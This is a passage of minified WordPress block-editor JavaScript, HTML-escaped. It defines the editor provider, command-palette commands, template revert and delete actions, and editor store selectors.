El({clientIds:e,onClose:t}){const{blocks:s}=(0,d.useSelect)((t=&gt;{const{getBlocksByClientId:s}=t(g.store);return{blocks:s(e)}}),[e]);return 1===s.length&amp;&amp;&quot;core/template-part&quot;===s[0]?.name?(0,c.jsx)(Cl,{clientId:e[0],onClose:t}):(0,c.jsx)(Pl,{clientIds:e,blocks:s})}const{ExperimentalBlockEditorProvider:Tl}=$(g.privateApis),{PatternsMenuItems:Il}=$(ao.privateApis),Bl=()=&gt;{},Nl=[&quot;wp_block&quot;,&quot;wp_navigation&quot;,&quot;wp_template_part&quot;];const Rl=ri((({post:e,settings:t,recovery:s,initialEdits:n,children:o,BlockEditorProviderComponent:r=Tl,__unstableTemplate:i})=&gt;{const a=!!i,{editorSettings:l,selection:m,isReady:_,mode:f,defaultMode:b,postTypeEntities:y}=(0,d.useSelect)((t=&gt;{const{getEditorSettings:s,getEditorSelection:n,getRenderingMode:o,__unstableIsEditorReady:r,getDefaultRenderingMode:i}=$(t(vc)),{getEntitiesConfig:l}=t(u.store),c=o(),d=i(e.type),p=&quot;template-locked&quot;===d?a:void 0!==d,m=void 0!==d;return{editorSettings:s(),isReady:r(),mode:m?c:void 0,defaultMode:p?d:void 0,selection:n(),postTypeEntities:&quot;wp_template&quot;===e.type?l(&quot;postType&quot;):null}}),[e.type,a]),v=a&amp;&amp;&quot;post-only&quot;!==f,w=v?i:e,S=(0,p.useMemo)((()=&gt;{const t={};if(&quot;wp_template&quot;===e.type){if(&quot;page&quot;===e.slug)t.postType=&quot;page&quot;;else if(&quot;single&quot;===e.slug)t.postType=&quot;post&quot;;else if(&quot;single&quot;===e.slug.split(&quot;-&quot;)[0]){const s=y?.map((e=&gt;e.name))||[],n=e.slug.match(`^single-(${s.join(&quot;|&quot;)})(?:-.+)?$`);n&amp;&amp;(t.postType=n[1])}}else Nl.includes(w.type)&amp;&amp;!v||(t.postId=e.id,t.postType=e.type);return{...t,templateSlug:&quot;wp_template&quot;===w.type?w.slug:void 0}}),[v,e.id,e.type,e.slug,w.type,w.slug,y]),{id:k,type:P}=w,j=Fi(l,P,k,f),[E,T,R]=function(e,t,s){const n=&quot;template-locked&quot;===s?&quot;template&quot;:&quot;post&quot;,[o,r,i]=(0,u.useEntityBlockEditor)(&quot;postType&quot;,e.type,{id:e.id}),[a,l,c]=(0,u.useEntityBlockEditor)(&quot;postType&quot;,t?.type,{id:t?.id}),d=(0,p.useMemo)((()=&gt;{if(&quot;wp_navigation&quot;===e.type)return[(0,x.createBlock)(&quot;core/navigation&quot;,{ref:e.id,templateLock:!1})]}),[e.type,e.id]),m=(0,p.useMemo)((()=&gt;d||(&quot;template&quot;===n?a:o)),[d,n,a,o]);return t&amp;&amp;&quot;template-locked&quot;===s||&quot;wp_navigation&quot;===e.type?[m,Bl,Bl]:[m,&quot;post&quot;===n?r:l,&quot;post&quot;===n?i:c]}(e,i,f),{updatePostLock:D,setupEditor:A,updateEditorSettings:M,setCurrentTemplateId:L,setEditedPost:O,setRenderingMode:F}=$((0,d.useDispatch)(vc)),{createWarningNotice:V}=(0,d.useDispatch)(_s.store);return(0,p.useLayoutEffect)((()=&gt;{s||(D(t.postLock),A(e,n,t.template),t.autosave&amp;&amp;V((0,fs.__)(&quot;There is an autosave of this post that is more recent than the version below.&quot;),{id:&quot;autosave-exists&quot;,actions:[{label:(0,fs.__)(&quot;View the autosave&quot;),url:t.autosave.editLink}]}))}),[]),(0,p.useEffect)((()=&gt;{O(e.type,e.id)}),[e.type,e.id,O]),(0,p.useEffect)((()=&gt;{M(t)}),[t,M]),(0,p.useEffect)((()=&gt;{L(i?.id)}),[i?.id,L]),(0,p.useEffect)((()=&gt;{b&amp;&amp;F(b)}),[b,F]),function(e,t){(0,p.useEffect)((()=&gt;((0,h.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;,((s,n)=&gt;!(!Gi.includes(e)&amp;&amp;&quot;core/template-part&quot;===n.name&amp;&amp;&quot;post-only&quot;===t)&amp;&amp;s)),(0,h.addFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;,((t,s,n,{getBlockParentsByBlockName:o})=&gt;Gi.includes(e)||&quot;core/post-content&quot;!==s.name?t:o(n,&quot;core/query&quot;).length&gt;0)),()=&gt;{(0,h.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removeTemplatePartsFromInserter&quot;),(0,h.removeFilter)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,&quot;removePostContentFromInserter&quot;)})),[e,t])}(e.type,f),(0,na.useCommandLoader)({name:&quot;core/editor/edit-ui&quot;,hook:function(){const{editorMode:e,isListViewOpen:t,showBlockBreadcrumbs:s,isDistractionFree:n,isFocusMode:o,isPreviewMode:r,isViewable:i,isCodeEditingEnabled:a,isRichEditingEnabled:l,isPublishSidebarEnabled:c}=(0,d.useSelect)((e=&gt;{const{get:t}=e(C.store),{isListViewOpened:s,getCurrentPostType:n,getEditorSettings:o}=e(vc),{getSettings:r}=e(g.store),{getPostType:i}=e(u.store);return{editorMode:t(&quot;core&quot;,&quot;editorMode&quot;)??&quot;visual&quot;,isListViewOpen:s(),showBlockBreadcrumbs:t(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),isDistractionFree:t(&quot;core&quot;,&quot;distractionFree&quot;),isFocusMode:t(&quot;core&quot;,&quot;focusMode&quot;),isPreviewMode:r().isPreviewMode,isViewable:i(n())?.viewable??!1,isCodeEditingEnabled:o().codeEditingEnabled,isRichEditingEnabled:o().richEditingEnabled,isPublishSidebarEnabled:e(vc).isPublishSidebarEnabled()}}),[]),{getActiveComplementaryArea:p}=(0,d.useSelect)(ja),{toggle:m}=(0,d.useDispatch)(C.store),{createInfoNotice:h}=(0,d.useDispatch)(_s.store),{__unstableSaveForPreview:_,setIsListViewOpened:f,switchEditorMode:b,toggleDistractionFree:y,toggleSpotlightMode:x,toggleTopToolbar:v}=(0,d.useDispatch)(vc),{openModal:w,enableComplementaryArea:S,disableComplementaryArea:k}=(0,d.useDispatch)(ja),{getCurrentPostId:P}=(0,d.useSelect)(vc),j=a&amp;&amp;l;if(r)return{commands:[],isLoading:!1};const E=[];return E.push({name:&quot;core/open-shortcut-help&quot;,label:(0,fs.__)(&quot;Keyboard shortcuts&quot;),icon:$i,callback:({close:e})=&gt;{e(),w(&quot;editor/keyboard-shortcut-help&quot;)}}),E.push({name:&quot;core/toggle-distraction-free&quot;,label:n?(0,fs.__)(&quot;Exit Distraction free&quot;):(0,fs.__)(&quot;Enter Distraction free&quot;),callback:({close:e})=&gt;{y(),e()}}),E.push({name:&quot;core/open-preferences&quot;,label:(0,fs.__)(&quot;Editor preferences&quot;),callback:({close:e})=&gt;{e(),w(&quot;editor/preferences&quot;)}}),E.push({name:&quot;core/toggle-spotlight-mode&quot;,label:o?(0,fs.__)(&quot;Exit Spotlight mode&quot;):(0,fs.__)(&quot;Enter Spotlight mode&quot;),callback:({close:e})=&gt;{x(),e()}}),E.push({name:&quot;core/toggle-list-view&quot;,label:t?(0,fs.__)(&quot;Close List View&quot;):(0,fs.__)(&quot;Open List View&quot;),icon:Wi,callback:({close:e})=&gt;{f(!t),e(),h(t?(0,fs.__)(&quot;List View off.&quot;):(0,fs.__)(&quot;List View on.&quot;),{id:&quot;core/editor/toggle-list-view/notice&quot;,type:&quot;snackbar&quot;})}}),E.push({name:&quot;core/toggle-top-toolbar&quot;,label:(0,fs.__)(&quot;Top toolbar&quot;),callback:({close:e})=&gt;{v(),e()}}),j&amp;&amp;E.push({name:&quot;core/toggle-code-editor&quot;,label:&quot;visual&quot;===e?(0,fs.__)(&quot;Open code editor&quot;):(0,fs.__)(&quot;Exit code editor&quot;),icon:Zi,callback:({close:t})=&gt;{b(&quot;visual&quot;===e?&quot;text&quot;:&quot;visual&quot;),t()}}),E.push({name:&quot;core/toggle-breadcrumbs&quot;,label:s?(0,fs.__)(&quot;Hide block breadcrumbs&quot;):(0,fs.__)(&quot;Show block breadcrumbs&quot;),callback:({close:e})=&gt;{m(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),e(),h(s?(0,fs.__)(&quot;Breadcrumbs hidden.&quot;):(0,fs.__)(&quot;Breadcrumbs visible.&quot;),{id:&quot;core/editor/toggle-breadcrumbs/notice&quot;,type:&quot;snackbar&quot;})}}),E.push({name:&quot;core/open-settings-sidebar&quot;,label:(0,fs.__)(&quot;Show or hide the Settings panel&quot;),icon:(0,fs.isRTL)()?Yi:qi,callback:({close:e})=&gt;{const t=p(&quot;core&quot;);e(),&quot;edit-post/document&quot;===t?k(&quot;core&quot;):S(&quot;core&quot;,&quot;edit-post/document&quot;)}}),E.push({name:&quot;core/open-block-inspector&quot;,label:(0,fs.__)(&quot;Show or hide the Block settings panel&quot;),icon:Ki,callback:({close:e})=&gt;{const t=p(&quot;core&quot;);e(),&quot;edit-post/block&quot;===t?k(&quot;core&quot;):S(&quot;core&quot;,&quot;edit-post/block&quot;)}}),E.push({name:&quot;core/toggle-publish-sidebar&quot;,label:c?(0,fs.__)(&quot;Disable pre-publish checks&quot;):(0,fs.__)(&quot;Enable pre-publish checks&quot;),icon:Qi,callback:({close:e})=&gt;{e(),m(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;),h(c?(0,fs.__)(&quot;Pre-publish checks disabled.&quot;):(0,fs.__)(&quot;Pre-publish checks enabled.&quot;),{id:&quot;core/editor/publish-sidebar/notice&quot;,type:&quot;snackbar&quot;})}}),i&amp;&amp;E.push({name:&quot;core/preview-link&quot;,label:(0,fs.__)(&quot;Preview in a new tab&quot;),icon:Fn,callback:async({close:e})=&gt;{e();const t=P(),s=await _();window.open(s,`wp-preview-${t}`)}}),{commands:E,isLoading:!1}}}),(0,na.useCommandLoader)({name:&quot;core/editor/contextual-commands&quot;,hook:function(){const{postType:e}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t}=e(vc);return{postType:t()}}),[]),{openModal:t}=(0,d.useDispatch)(ja),s=[];return e===N&amp;&amp;(s.push({name:&quot;core/rename-pattern&quot;,label:(0,fs.__)(&quot;Rename pattern&quot;),icon:Xi,callback:({close:e})=&gt;{t(Ya),e()}}),s.push({name:&quot;core/duplicate-pattern&quot;,label:(0,fs.__)(&quot;Duplicate pattern&quot;),icon:Ji,callback:({close:e})=&gt;{t(Qa),e()}})),{isLoading:!1,commands:s}},context:&quot;entity-edit&quot;}),(0,na.useCommandLoader)({name:&quot;core/editor/page-content-focus&quot;,hook:function(){const{onNavigateToEntityRecord:e,goBack:t,templateId:s,isPreviewMode:n}=(0,d.useSelect)((e=&gt;{const{getRenderingMode:t,getEditorSettings:s,getCurrentTemplateId:n}=$(e(vc)),o=s();return{isTemplateHidden:&quot;post-only&quot;===t(),onNavigateToEntityRecord:o.onNavigateToEntityRecord,getEditorSettings:s,goBack:o.onNavigateToPreviousEntityRecord,templateId:n(),isPreviewMode:o.isPreviewMode}}),[]),{editedRecord:o,hasResolved:r}=(0,u.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,s);if(n)return{isLoading:!1,commands:[]};const i=[];return s&amp;&amp;r&amp;&amp;i.push({name:&quot;core/switch-to-template-focus&quot;,label:(0,fs.sprintf)((0,fs.__)(&quot;Edit template: %s&quot;),(0,Ln.decodeEntities)(o.title)),icon:W,callback:({close:t})=&gt;{e({postId:s,postType:&quot;wp_template&quot;}),t()}}),t&amp;&amp;i.push({name:&quot;core/switch-to-previous-entity&quot;,label:(0,fs.__)(&quot;Go back&quot;),icon:ea,callback:({close:e})=&gt;{t(),e()}}),{isLoading:!1,commands:i}},context:&quot;entity-edit&quot;}),(0,na.useCommandLoader)({name:&quot;core/edit-site/manipulate-document&quot;,hook:function(){const{postType:e,postId:t}=(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(vc);return{postType:s(),postId:t()}}),[]),{editedRecord:s,hasResolved:n}=(0,u.useEntityRecord)(&quot;postType&quot;,e,t),{revertTemplate:o}=$((0,d.useDispatch)(vc));if(!n||![B,I].includes(e))return{isLoading:!0,commands:[]};const r=[];if(On(s)){const e=s.type===I?(0,fs.sprintf)((0,fs.__)(&quot;Reset template: %s&quot;),(0,Ln.decodeEntities)(s.title)):(0,fs.sprintf)((0,fs.__)(&quot;Reset template part: %s&quot;),(0,Ln.decodeEntities)(s.title));r.push({name:&quot;core/reset-template&quot;,label:e,icon:(0,fs.isRTL)()?ta:sa,callback:({close:e})=&gt;{o(s),e()}})}return{isLoading:!n,commands:r}}}),_&amp;&amp;f?(0,c.jsx)(u.EntityProvider,{kind:&quot;root&quot;,type:&quot;site&quot;,children:(0,c.jsx)(u.EntityProvider,{kind:&quot;postType&quot;,type:e.type,id:e.id,children:(0,c.jsx)(g.BlockContextProvider,{value:S,children:(0,c.jsxs)(r,{value:E,onChange:R,onInput:T,selection:m,settings:j,useSubRegistry:!1,children:[o,!t.isPreviewMode&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Il,{}),(0,c.jsx)(jl,{}),(0,c.jsx)(yl,{}),&quot;template-locked&quot;===f&amp;&amp;(0,c.jsx)(Hi,{}),&quot;wp_navigation&quot;===P&amp;&amp;(0,c.jsx)(zi,{}),(0,c.jsx)(kl,{}),(0,c.jsx)(_l,{}),(0,c.jsx)(sl,{}),(0,c.jsx)(rl,{}),(0,c.jsx)(Sl,{}),(0,c.jsx)(qa,{}),(0,c.jsx)(Xa,{})]})]})})})}):null}));function Dl(e){return(0,c.jsx)(Rl,{...e,BlockEditorProviderComponent:g.BlockEditorProvider,children:e.children})}var Al=Dl;const{useGlobalStyle:Ml}=$(g.privateApis);function Ll({template:e,post:t}){const[s=&quot;white&quot;]=Ml(&quot;color.background&quot;),[n]=(0,u.useEntityBlockEditor)(&quot;postType&quot;,t.type,{id:t.id}),[o]=(0,u.useEntityBlockEditor)(&quot;postType&quot;,e?.type,{id:e?.id}),r=e&amp;&amp;o?o:n,i=!r?.length;return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-fields-content-preview&quot;,style:{backgroundColor:s},children:[i&amp;&amp;(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-fields-content-preview__empty&quot;,children:(0,fs.__)(&quot;Empty content&quot;)}),!i&amp;&amp;(0,c.jsx)(g.BlockPreview.Async,{children:(0,c.jsx)(g.BlockPreview,{blocks:r})})]})}const Ol={type:&quot;media&quot;,id:&quot;content-preview&quot;,label:(0,fs.__)(&quot;Content preview&quot;),render:function({item:e}){const{settings:t,template:s}=(0,d.useSelect)((t=&gt;{const{canUser:s,getPostType:n,getTemplateId:o,getEntityRecord:r}=$(t(u.store)),i=s(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),a=t(vc).getEditorSettings(),l=a.supportsTemplateMode,c=n(e.type)?.viewable??!1,d=l&amp;&amp;c&amp;&amp;i?o(e.type,e.id):null;return{settings:a,template:d?r(&quot;postType&quot;,&quot;wp_template&quot;,d):void 0}}),[e.type,e.id]);return(0,c.jsx)(Dl,{post:e,settings:t,__unstableTemplate:s,children:(0,c.jsx)(Ll,{template:s,post:e})})},enableSorting:!1};var Fl=Ol;function Vl(e,t,s){return{type:&quot;REGISTER_ENTITY_ACTION&quot;,kind:e,name:t,config:s}}function Ul(e,t,s){return{type:&quot;UNREGISTER_ENTITY_ACTION&quot;,kind:e,name:t,actionId:s}}function Hl(e,t,s){return{type:&quot;REGISTER_ENTITY_FIELD&quot;,kind:e,name:t,config:s}}function zl(e,t,s){return{type:&quot;UNREGISTER_ENTITY_FIELD&quot;,kind:e,name:t,fieldId:s}}function Gl(e,t){return{type:&quot;SET_IS_READY&quot;,kind:e,name:t}}const $l=e=&gt;async({registry:t})=&gt;{if($(t.select(vc)).isEntityReady(&quot;postType&quot;,e))return;$(t.dispatch(vc)).setIsReady(&quot;postType&quot;,e);const s=await t.resolveSelect(u.store).getPostType(e),n=await t.resolveSelect(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:e}),o=await t.resolveSelect(u.store).getCurrentTheme(),r=[s.viewable?Vn:void 0,s.supports?.revisions?Un:void 0,void 0,&quot;wp_template_part&quot;===s.slug&amp;&amp;n&amp;&amp;o?.is_block_theme?io:void 0,n&amp;&amp;&quot;wp_block&quot;===s.slug?ho:void 0,s.supports?.title?fo:void 0,s.supports?.[&quot;page-attributes&quot;]?yo:void 0,&quot;wp_block&quot;===s.slug?Zo:void 0,qo,Xo,nr,rr,ar].filter(Boolean),i=[s.supports?.thumbnail&amp;&amp;o?.theme_supports?.[&quot;post-thumbnails&quot;]&amp;&amp;ur,s.supports?.author&amp;&amp;fr,Cr,Er,Dr,s.supports?.[&quot;page-attributes&quot;]&amp;&amp;Vr,s.supports?.comments&amp;&amp;Ur,s.supports?.trackbacks&amp;&amp;Hr,(s.supports?.comments||s.supports?.trackbacks)&amp;&amp;zr,Wr,Yr,s.supports?.editor&amp;&amp;s.viewable&amp;&amp;Fl].filter(Boolean);if(s.supports?.title){let t;t=&quot;page&quot;===e?Xr:&quot;wp_template&quot;===e?Jr:&quot;wp_block&quot;===e?ni:oi,i.push(t)}t.batch((()=&gt;{r.forEach((s=&gt;{$(t.dispatch(vc)).registerEntityAction(&quot;postType&quot;,e,s)})),i.forEach((s=&gt;{$(t.dispatch(vc)).registerEntityField(&quot;postType&quot;,e,s)}))})),(0,h.doAction)(&quot;core.registerPostTypeSchema&quot;,e)};function Wl(e){return{type:&quot;SET_CURRENT_TEMPLATE_ID&quot;,id:e}}const Zl=e=&gt;async({select:t,dispatch:s,registry:n})=&gt;{const o=await n.dispatch(u.store).saveEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,e);return n.dispatch(u.store).editEntityRecord(&quot;postType&quot;,t.getCurrentPostType(),t.getCurrentPostId(),{template:o.slug}),n.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Custom template created. You&#039;re in template mode now.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;s.setRenderingMode(t.getEditorSettings().defaultRenderingMode)}]}),o},Yl=e=&gt;({registry:t})=&gt;{const s=(t.select(C.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??[]).filter((t=&gt;!(Array.isArray(e)?e:[e]).includes(t)));t.dispatch(C.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,s)},ql=e=&gt;({registry:t})=&gt;{const s=t.select(C.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??[],n=new Set([...s,...Array.isArray(e)?e:[e]]);t.dispatch(C.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,[...n])},Kl=({onSave:e,dirtyEntityRecords:t=[],entitiesToSkip:s=[],close:n}={})=&gt;({registry:o})=&gt;{const r=[{kind:&quot;postType&quot;,name:&quot;wp_navigation&quot;}],i=&quot;site-editor-save-success&quot;,a=o.select(u.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home;o.dispatch(_s.store).removeNotice(i);const l=t.filter((({kind:e,name:t,key:n,property:o})=&gt;!s.some((s=&gt;s.kind===e&amp;&amp;s.name===t&amp;&amp;s.key===n&amp;&amp;s.property===o))));n?.(l);const c=[],d=[];l.forEach((({kind:e,name:t,key:s,property:n})=&gt;{&quot;root&quot;===e&amp;&amp;&quot;site&quot;===t?c.push(n):(r.some((s=&gt;s.kind===e&amp;&amp;s.name===t))&amp;&amp;o.dispatch(u.store).editEntityRecord(e,t,s,{status:&quot;publish&quot;}),d.push(o.dispatch(u.store).saveEditedEntityRecord(e,t,s)))})),c.length&amp;&amp;d.push(o.dispatch(u.store).__experimentalSaveSpecifiedEntityEdits(&quot;root&quot;,&quot;site&quot;,void 0,c)),o.dispatch(g.store).__unstableMarkLastChangeAsPersistent(),Promise.all(d).then((t=&gt;e?e(t):t)).then((e=&gt;{e.some((e=&gt;void 0===e))?o.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;Saving failed.&quot;)):o.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Site updated.&quot;),{type:&quot;snackbar&quot;,id:i,actions:[{label:(0,fs.__)(&quot;View site&quot;),url:a,openInNewTab:!0}]})})).catch((e=&gt;o.dispatch(_s.store).createErrorNotice(`${(0,fs.__)(&quot;Saving failed.&quot;)} ${e}`)))},Ql=(e,{allowUndo:t=!0}={})=&gt;async({registry:s})=&gt;{const n=&quot;edit-site-template-reverted&quot;;if(s.dispatch(_s.store).removeNotice(n),On(e))try{const o=s.select(u.store).getEntityConfig(&quot;postType&quot;,e.type);if(!o)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const r=(0,w.addQueryArgs)(`${o.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),i=await gs()({path:r});if(!i)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const a=({blocks:e=[]})=&gt;(0,x.__unstableSerializeAndClean)(e),l=s.select(u.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);s.dispatch(u.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;},{undoIgnore:!0});const c=(0,x.parse)(i?.content?.raw);if(s.dispatch(u.store).editEntityRecord(&quot;postType&quot;,e.type,i.id,{content:a,blocks:c,source:&quot;theme&quot;}),t){const t=()=&gt;{s.dispatch(u.store).editEntityRecord(&quot;postType&quot;,e.type,l.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;})};s.dispatch(_s.store).createSuccessNotice((0,fs.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:n,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:t}]})}}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;Template revert failed. Please reload.&quot;);s.dispatch(_s.store).createErrorNotice(t,{type:&quot;snackbar&quot;})}else s.dispatch(_s.store).createErrorNotice((0,fs.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;})},Xl=e=&gt;async({registry:t})=&gt;{const s=e.every((e=&gt;e?.has_theme_file)),n=await Promise.allSettled(e.map((e=&gt;t.dispatch(u.store).deleteEntityRecord(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(n.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let n;if(1===e.length){let t;&quot;string&quot;==typeof e[0].title?t=e[0].title:&quot;string&quot;==typeof e[0].title?.rendered?t=e[0].title?.rendered:&quot;string&quot;==typeof e[0].title?.raw&amp;&amp;(t=e[0].title?.raw),n=s?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),(0,Ln.decodeEntities)(t)):(0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,Ln.decodeEntities)(t))}else n=s?(0,fs.__)(&quot;Items reset.&quot;):(0,fs.__)(&quot;Items deleted.&quot;);t.dispatch(_s.store).createSuccessNotice(n,{type:&quot;snackbar&quot;,id:&quot;editor-template-deleted-success&quot;})}else{let e;if(1===n.length)e=n[0].reason?.message?n[0].reason.message:s?(0,fs.__)(&quot;An error occurred while reverting the item.&quot;):(0,fs.__)(&quot;An error occurred while deleting the item.&quot;);else{const t=new Set,o=n.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of o)e.reason?.message&amp;&amp;t.add(e.reason.message);e=0===t.size?(0,fs.__)(&quot;An error occurred while deleting the items.&quot;):1===t.size?s?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while reverting the items: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while deleting the items: %s&quot;),[...t][0]):s?(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...t].join(&quot;,&quot;)):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...t].join(&quot;,&quot;))}t.dispatch(_s.store).createErrorNotice(e,{type:&quot;snackbar&quot;})}},Jl=e=&gt;({select:t,registry:s})=&gt;{const n=t.getCurrentPostType(),o=s.select(u.store).getCurrentTheme()?.stylesheet,r=s.select(C.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[o]??{};if(r[n]===e)return;const i={[o]:{...r,[n]:e}};s.dispatch(C.store).set(&quot;core&quot;,&quot;renderingModes&quot;,i)};function ec(e){return{type:&quot;SET_CANVAS_MIN_HEIGHT&quot;,minHeight:e}}var tc=s(5215),sc=s.n(tc),nc=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z&quot;})}),oc=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot;})});const rc=[];const ic={rootClientId:void 0,insertionIndex:void 0,filterValue:void 0},ac=[&quot;post-only&quot;,&quot;template-locked&quot;],lc=(0,d.createRegistrySelector)((e=&gt;(0,d.createSelector)((t=&gt;{if(&quot;object&quot;==typeof t.blockInserterPanel)return t.blockInserterPanel;if(&quot;template-locked&quot;===st(t)){const[t]=e(g.store).getBlocksByName(&quot;core/post-content&quot;);if(t)return{rootClientId:t,insertionIndex:void 0,filterValue:void 0}}return ic}),(t=&gt;{const[s]=e(g.store).getBlocksByName(&quot;core/post-content&quot;);return[t.blockInserterPanel,st(t),s]}))));function cc(e){return e.listViewToggleRef}function dc(e){return e.inserterSidebarToggleRef}const uc={wp_block:Ji,wp_navigation:nc,page:ea,post:oc},pc=(0,d.createRegistrySelector)((e=&gt;(t,s,n)=&gt;{{if(&quot;wp_template_part&quot;===s||&quot;wp_template&quot;===s){const t=(e(u.store).getCurrentTheme()?.default_template_part_areas||[]).find((e=&gt;n.area===e.area));return t?.icon?H(t.icon):W}if(uc[s])return uc[s];const t=e(u.store).getPostType(s);return&quot;string&quot;==typeof t?.icon&amp;&amp;t.icon.startsWith(&quot;dashicons-&quot;)?t.icon.slice(10):ea}})),mc=(0,d.createRegistrySelector)((e=&gt;(t,s,n)=&gt;{const{type:o,id:r}=ne(t),i=e(u.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,s||o,n||r);if(!i?.meta)return!1;const a=e(u.store).getEntityRecord(&quot;postType&quot;,s||o,n||r)?.meta;return!sc()({...a,footnotes:void 0},{...i.meta,footnotes:void 0})}));function hc(e,...t){return function(e,t,s){return e.actions[t]?.[s]??rc}(e.dataviews,...t)}function gc(e,...t){return function(e,t,s){return e.isReady[t]?.[s]}(e.dataviews,...t)}function _c(e,...t){return function(e,t,s){return e.fields[t]?.[s]??rc}(e.dataviews,...t)}const fc=(0,d.createRegistrySelector)((e=&gt;(0,d.createSelector)(((t,s)=&gt;{s=Array.isArray(s)?s:[s];const{getBlocksByName:n,getBlockParents:o,getBlockName:r}=e(g.store);return n(s).filter((e=&gt;o(e).every((e=&gt;{const t=r(e);return&quot;core/query&quot;!==t&amp;&amp;!s.includes(t)}))))}),(()=&gt;[e(g.store).getBlocks()])))),bc=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{const{getPostType:n,getCurrentTheme:o,hasFinishedResolution:r}=e(u.store),i=o(),a=n(s);if(!r(&quot;getPostType&quot;,[s])||!r(&quot;getCurrentTheme&quot;))return;const l=i?.stylesheet,c=e(C.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[l]?.[s],d=Array.isArray(a?.supports?.editor)?a.supports.editor.find((e=&gt;&quot;default-mode&quot;in e))?.[&quot;default-mode&quot;]:void 0,p=c||d;return ac.includes(p)?p:&quot;post-only&quot;}));function yc(e){return e.canvasMinHeight}const xc={reducer:y,selectors:e,actions:t},vc=(0,d.createReduxStore)(&quot;core/editor&quot;,{...xc});(0,d.register)(vc),$(vc).registerPrivateActions(a),$(vc).registerPrivateSelectors(l);function wc(e){const 